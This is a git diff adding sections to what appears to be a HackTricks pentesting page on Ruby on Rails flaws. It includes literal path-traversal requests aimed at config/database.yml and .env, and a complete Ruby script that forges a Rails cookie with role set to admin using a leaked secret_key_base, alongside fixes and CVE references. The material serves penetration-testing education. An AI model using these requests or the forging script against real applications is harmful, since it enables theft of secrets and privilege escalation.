diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 757fdece9..3aa7e3145 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -6,7 +6,95 @@ As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +Tips: +- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot. +- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot. + +## Active Storage image transformation → command execution (CVE-2025-24293) + +When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. + +- A vulnerable pattern looks like: + ```erb + <%= image_tag blob.variant(params[:t] => params[:v]) %> + ``` + where `params[:t]` and/or `params[:v]` are attacker-controlled. + +- What to try during testing + - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. + - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. + - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. + +- Remediation/detections + - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. + +## Rack::Static LFI / path traversal (CVE-2025-27610) + +If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. + +- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: + ```text + GET /assets/%2e%2e/%2e%2e/config/database.yml + GET /favicon.ico/..%2f..%2f.env + ``` + Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. + +- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. + +## Forging/decrypting Rails cookies when `secret_key_base` is leaked + +Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. + +Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): +```ruby +require 'cgi' +require 'json' +require 'active_support' +require 'active_support/message_encryptor' +require 'active_support/key_generator' + +secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') +raw_cookie = CGI.unescape(ARGV[0]) + +salt = 'authenticated encrypted cookie' +cipher = 'aes-256-gcm' +key_len = ActiveSupport::MessageEncryptor.key_len(cipher) +secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) +enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) + +plain = enc.decrypt_and_verify(raw_cookie) +puts "Decrypted: #{plain.inspect}" + +# Modify and re-encrypt (example: escalate role) +plain['role'] = 'admin' if plain.is_a?(Hash) +forged = enc.encrypt_and_sign(plain) +puts "Forged cookie: #{CGI.escape(forged)}" +``` +Notes: +- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. +- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies. + +## See also (Ruby/Rails-specific vulns) + +- Ruby deserialization and class pollution: + {{#ref}} + ../../pentesting-web/deserialization/README.md + {{#endref}} + {{#ref}} + ../../pentesting-web/deserialization/ruby-class-pollution.md + {{#endref}} + {{#ref}} + ../../pentesting-web/deserialization/ruby-_json-pollution.md + {{#endref}} +- Template injection in Ruby engines (ERB/Haml/Slim, etc.): + {{#ref}} + ../../pentesting-web/ssti-server-side-template-injection/README.md + {{#endref}} + + + +## References + +- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v {{#include ../../banners/hacktricks-training.md}} - - -